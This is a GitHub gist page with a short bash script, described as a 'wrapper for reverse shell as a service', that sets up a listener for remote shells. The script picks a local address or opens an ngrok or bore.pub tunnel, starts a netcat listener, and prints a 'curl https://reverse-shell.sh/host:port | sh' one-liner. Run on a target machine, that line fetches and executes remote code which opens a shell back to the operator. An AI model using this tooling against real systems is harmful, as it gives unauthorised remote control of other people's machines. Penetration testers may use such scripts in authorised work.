Skip to content

Instantly share code, notes, and snippets.

@ariary
Last active October 8, 2022 07:51
Show Gist options
  • Save ariary/09f836ba98e5eed6c0fb6e4adb799680 to your computer and use it in GitHub Desktop.
Save ariary/09f836ba98e5eed6c0fb6e4adb799680 to your computer and use it in GitHub Desktop.
wrapper for reverse shell as a service
#!/usr/bin/env bash
if [[ -z "${TMUX}" ]]; then
echo "Must be run in tmux"
exit 92
fi
IFS=$'\n'
IPS=$(ip -brief -j -c address | jq -r '.[] | select((.operstate=="UP") or (.operstate=="UNKNOWN")) | "\(.ifname): \(.addr_info[0].local)\n"')
IP_CHOICE=$(gum choose $IPS "tunnel: ngrok" "tunnel: bore")
LPORT=$(gum input --placeholder "enter local port")
PORT=""
ENDPOINT=""
if [ "$IP_CHOICE" = "tunnel: ngrok" ]; then
# launch ngrok, retrieve endpoint + port
tmux split-window -v "ngrok tcp ${LPORT}"
sleep 4 # wait for ngrok to start
NGROK_ENDPOINT_TCP=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | jq -r ".tunnels[0].public_url")
NGROK_ENDPOINT="$(echo $NGROK_ENDPOINT_TCP | cut -d ':' -f 2-3 | cut -d '/' -f 3-)"
TUNNEL_ENDPOINT="${NGROK_ENDPOINT}"
ENDPOINT="$(echo $TUNNEL_ENDPOINT | cut -d ':' -f 1)"
PORT="$(echo $TUNNEL_ENDPOINT | cut -d ':' -f 2)"
elif [ "$IP_CHOICE" = "tunnel: bore" ]; then
tmux split-window -v "bore local ${LPORT} --to bore.pub"
PORT=$(gum input --placeholder "enter bore.pub remote_port given")
ENDPOINT="bore.pub"
else
ENDPOINT=$(echo $IP_CHOICE | cut -d ":" -f 2 | cut -d " " -f 2)
PORT=$LPORT
fi
tmux split-window -h "nc -nvlp ${LPORT}"
echo "curl https://reverse-shell.sh/${ENDPOINT}:${PORT} | sh"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment